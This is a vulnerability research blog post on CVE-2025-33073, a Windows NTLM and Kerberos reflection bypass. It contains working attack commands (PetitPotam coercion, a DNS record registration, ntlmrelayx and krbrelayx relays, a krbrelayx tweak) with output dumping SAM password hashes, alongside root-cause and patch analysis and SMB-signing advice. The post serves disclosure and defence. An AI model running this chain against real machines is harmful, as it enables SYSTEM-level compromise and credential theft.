NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073

Written by Wilfried Bécard , Guillaume André - 11/06/2025 - in Pentest - Download

For nearly two decades, Windows has been plagued with NTLM reflection vulnerabilities. In this article, we present CVE-2025-33073, a logical vulnerability which bypasses NTLM reflection mitigations and allows an authenticated remote attacker to execute arbitrary commands as SYSTEM on any machine which does not enforce SMB signing. The vulnerability discovery, the complete analysis of the root cause as well as the patch by Microsoft will be detailed in this blogpost.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

NTLM reflection is a special case of NTLM authentication relay in which the original authentication is relayed back to the machine from which the authentication originated. This class of vulnerability was publicly introduced via MS08-68, where Microsoft prevented SMB to SMB NTLM reflection. Over the years, other exploitation vectors were discovered and patched, such as HTTP to SMB reflection (patched in MS09-13) or DCOM to DCOM reflection (patched in MS15-076).

Nowadays, it is generally accepted that NTLM reflection attacks vectors are fixed, but from time to time, some researches demonstrate that bypassing mitigations is just a matter of digging into what the mitigation actually does.

More recently, a tweet demonstrating that Kerberos reflection was not restricted sparked our interest and motivated us to dig more into authentication reflection.

Vulnerability discovery

As a baseline for our tests, let us see what happens when trying to relay an SMB authentication back to the same machine. Our test machine (SRV1) is an up-to-date Windows Server 2022, domain joined, with SMB signing not enforced:

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED

PetitPotam coerces a SYSTEM service (lsass.exe) into authenticating to a controlled machine, therefore a machine account authentication is received. As the authentication originates from the same machine, the relay fails.

To hunt for unusual behavior, we fiddled with different parameters such as the listener host or the client IP address. We registered the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS record and made it point to our IP address. This format, first documented by James Forshaw and also tackled in one of our previous blogpost, can be used to coerce machines into authenticating via Kerberos to a controlled IP address. When coercing SRV1 with the previous DNS record as the listener, we stumbled across a weird behavior: the relay actually worked!

$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14

Even more surprisingly, ntlmrelayx.py was able to remotely dump the SAM hive, which means the identity we relayed was privileged on the machine. This seemed odd to us because the machine account is not privileged on its associated machine.

Understanding the vulnerability

In order to quickly understand what had happened, network captures were done for both relay attacks. An obvious difference stood out: in the network capture of the relay with the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA hostname, NTLM local authentication took place! On the contrary, when coercing the machine with an IP address as the listener, a standard NTLM authentication occurred.

Local NTLM authentication

NTLM local authentication is a special case of NTLM authentication in which the server informs the client (in the NTLM_CHALLENGE message) that there is no need to compute the challenge response in the NTLM_AUTHENTICATE message. Instead, the server sets the “Negotiate Local Call” in the challenge message, creates a server context, adds it to a global context list and inserts the context ID in the Reserved field. When the client receives the NTLM_CHALLENGE message, it understands that local NTLM authentication must occur. It then adds its token into the server context which was passed  via the ID in the Reserved field. As the client and the server are on the same machine, everything happens inside the same lsass.exe process. Eventually, the client sends back an NTLM_AUTHENTICATE message which is nearly empty and the server uses the token added to its context to perform further operations (via SMB in our case).

Below is a network capture of the NTLM_CHALLENGE message returned by the server when using an IP address as the listener. We can see that the NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) bit is not enabled in the Negotiate flags and that the Reserved flag is NULL.

NTLM_CHALLENGE message when the relay did not work.
NTLM_CHALLENGE message when the relay did not work.

On the opposite, on the other network capture, the flag is set and the Reserved value is not NULL:

NTLM_CHALLENGE message when the relay worked.
NTLM_CHALLENGE message when the relay worked.

To decide whether local NTLM authentication must happen, the server bases its decision on two fields in the NTLM_NEGOTIATE message: the workstation name and domain. The msv1_0!SsprHandleNegotiateMessage function checks if the workstation name and domain name were supplied by the client, and if so, compares it with the current machine name and domain name. If they are equal, the server includes the NTLMSSP_NEGOTIATE_LOCAL_CALL flag in the challenge message, creates a server context and adds its ID to the Reserved field. A simplified version of the code is presented below:

The network captures confirm this analysis: when local authentication was negotiated, the NTLM_NEGOTIATE message contained both the workstation name and domain name of the client:

NTLM_NEGOTIATE message when the relay worked.
NTLM_NEGOTIATE message when the relay worked.

Whereas the fields were both set to NULL in the other case:

NTLM_NEGOTIATE message when the relay did not work.
NTLM_NEGOTIATE message when the relay did not work.

This difference in behavior indicates that the client detects the DNS record srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA as an equivalent to localhost and hints the server that NTLM local authentication should be considered.

Root cause

To understand the root cause of the vulnerability, we traced back to the authentication context initialization by the SMB client (mrxsmb.sys). When it detects that an authentication must be performed, it calls the ksecdd!AcquireCredentialsHandle function (which performs an RPC call to LSASS to the equivalent usermode function) with the Negotiate package to retrieve a credential handle with the current user’s identity. Afterward, the client calls ksecdd!InitializeSecurityContextW, which is also an RPC call to LSASS. Depending on whether the authentication coercion was done with an IP address or the DNS record, the target name passed to InitializeSecurityContextW can look like:

  • cifs/192.168.56.3
  • cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

The usermode entry point for this function is lsasrv!SspiExProcessSecurityContext. This function calls lsasrv!LsapCheckMarshalledTargetInfo to strip the marshalled target information which might be present in the target name:

After this function is called, the target name now looks like:

  • cifs/192.168.56.3
  • cifs/srv1

Later, LSASS calls the authentication package which was negotiated (NTLM in our case), more specifically, the msv1_0!SpInitLsaModeContext function. As an NTLM_NEGOTIATE message must be crafted, msv1_0!SsprHandleFirstCall is called. Inside this function, several checks are performed to decide whether to include the workstation and domain name in the NTLM_NEGOTIATE message:

First, the msv1_0!SspIsTargetLocalhost function is used to determine if the target name corresponds to the current machine. To do so, the part after the service class (192.168.56.3 or srv1) is compared (case-insensitive) to several strings:

  • The FQDN of the machine (SRV1.ASGARD.LOCAL)
  • The hostname of the machine (SRV1) → in our case, it matches!
  • localhost

If there is no match, the target name is considered to be an IP address, and is compared to all the IP addresses assigned to the current machine. If none of the previous check pass, then the target name is considered to be different than the current machine.

Finally, the workstation and domain name are included in the NTLM_NEGOTIATE message if all the following condition are met:

  • The target is the current machine
  • The client did not ask for NULL authentication
  • The current user’s credential are used (no explicit credentials were specified)

In our case, all these conditions are true, which is why the SMB client hints the server for local NTLM authentication when coercing with the name srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.

The last question is: why are we privileged on the machine? Well, PetitPotam coerces lsass.exe into authenticating to our server and lsass.exe runs as SYSTEM. When the client (lsass.exe) receives the NTLM_CHALLENGE message indicating that local NTLM authentication must be performed, it copies its SYSTEM token into the server context. When the server receives the NTLM_AUTHENTICATE message, it retrieves the token from the context object and impersonates it to perform further actions via SMB (in our case, use the Remote Registry service to dump the SAM hive and compromise the machine).

As a little bonus, we noticed that it was possible to register a single DNS record to compromise any vulnerable machine: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. Indeed, when the marshalled target information is stripped from the target name, only localhost remains, which means the check in msv1_0!SspIsTargetLocalhost will also pass, irrespective of the machine's hostname.

What about kerberos?

The Negotiate workflow

After this first discovery, we wondered if Kerberos was also affected. After all, as mentioned earlier, Kerberos has no protection against reflection attacks. Therefore, the same attack was performed by replacing ntlmrelayx.py by krbrelayx.py:

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client

Interestingly, even though we supplied a DNS record as the listener host and krbrelayx.py advertises Kerberos as one of its authentication protocol, NTLM authentication was negotiated. The reason is quite simple and is explained by how the Negotiate authentication package works: if the remote server supports both Kerberos and NTLM (which is the case of krbrelayx.py) and the client detects that the target is the current machine, then NTLM is used (to perform local NTLM authentication). To determine if the target is the same machine as the client’s one, the lsasrv!NegpIsLoopback function is used. Similarly to the msv1_0!SspIsTargetLocalhost function, it compares the target name with localhost, the FQDN of the machine and its hostname. In our case, the target name equals the hostname, therefore lsasrv!NegpIsLoopback returns true and NTLM is negotiated. To enforce the use of Kerberos, the NTLM mechtype just needs to be removed from the advertised types:

File: krbrelayx/lib/servers/smbrelayserver.py
156:         blob['tokenOid'] = '1.3.6.1.5.5.2'
157:         blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158:                                                        MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159:                                                        MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])

By applying this patch, the relay also worked!

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local

The same investigation technique was applied: we began by analyzing network captures to understand what happened. However, the captures did not reveal anything out of the ordinary. Via the authentication coercion, an AP-REQ for the cifs/srv1 service as the SRV1$ account was retrieved and relayed, which is exactly what is expected from a Kerberos authentication coercion. Again, the ability to dump the SAM registry hive bothered us because the machine account (which is the relayed identity in this case) is not privileged on its associated machine, and Kerberos does not have a local mode built in its protocol, like NTLM does.

Root cause

When the SMB client has negotiated Kerberos instead of NTLM, the kerberos!SpInitLsaModeContext function is called. This function calls kerberos!KerbBuildApRequest, which then calls kerberos!KerbMakeKeyEx to create a subkey, which is an encryption key that the client and the server may optionally use after the authentication phase. The subkey is inserted in the authenticator part of the AP-REQ sent by the client. If AES is used (which is the default), the subkey is generated randomly via a call to cryptdll!aes256RandomKey.

Afterward, if the current user is NT AUTHORITY\SYSTEM or NT AUTHORITY\NETWORK SERVICE, then the kerberos!KerbCreateSKeyEntry function is called:

The function kerberos!KerbCreateSKeyEntry creates a subkey entry containing the current user’s LUID, the subkey, its expiration time and the current user’s token. The subkey entry is then added to the kerberos!KerbSKeyList global list:

When the server receives the AP-REQ, it calls AcceptSecurityContext, which forwards the call to kerberos!SpAcceptLsaModeContext. The function performs several checks on the AP-REQ, decrypts it and then calls kerberos!KerbCreateTokenFromTicketEx to create a token from the retrieved AP-REQ. Here comes the interesting part: if the client name (extracted from the ticket) equals the machine name (kerberos!KerbGlobalMachineServiceName), then the kerberos!KerbDoesSKeyExist function is called to check if the AP-REQ subkey exists in the kerberos!KerbSKeyList global list and to check if the associated logon ID corresponds to NT AUTHORITY\SYSTEM:

The new token information are generated in kerberos!KerbMakeTokenInformationV3 and, if IsSystem is true, then the User field of the token information is set to SYSTEM, and the local admin SID is added to the groups field.

Eventually, the lsasrv!LsapCreateTokenEx function is called with the previously generated token information to create the token. In our case, a SYSTEM token is created and associated with the client.

Patch analysis and recommendations

Microsoft described CVE-2025-33073 as a vulnerability in the SMB client. Therefore, to understand the patch, the mrxsmb.sys kernel driver was diffed against the one before the patch. The diff revealed that only a few functions were modified. The interesting one is mrxsmb!SmbCeCreateSrvCall, which is called when trying to access a resource over SMB. The following code was added:

The function ksecdd!CredUnmarshalTargetInfo fails if the target name does not contain any marshalled target information, or if the format is incorrect. Therefore, this call was added to prevent any SMB connection if the use of a target name with marshalled target information was detected. Therefore, this patch fixes the vulnerability and also removes the ability to coerce machines into authenticating via Kerberos by registering a DNS record with marshalled target information.

To correctly fix the vulnerability, please refer to Microsoft’s official advisory. Moreover, to prevent any future vulnerability related to authentication relay on SMB, enforce SMB signing on your machines when possible. In this context, enforcing SMB signing prevents the exploitation of this vulnerability, even without applying the patch.

Conclusion

Even though CVE-2025-33073 is referred by Microsoft as an elevation of privilege, it is actually an authenticated remote command execution as SYSTEM on any machine which does not enforce SMB signing.

In this blogpost, we described how we accidentally found the vulnerability, detailed our methodology to quickly get an insight into the vulnerability specificities and dove deep into LSASS internals to gain a comprehensive understanding of the vulnerability workflow. Eventually, we analyzed the official patch to illustrate that the vulnerability was fixed with only a few lines of code.

As a last note, we wanted to highlight that CVE-2025-33073 is a good example on why enabling defense-in-depth mitigations such as SMB signing can prove extremely efficient, even against 0-days. Also, kudos to the other researchers who independently reported the vulnerability to Microsoft!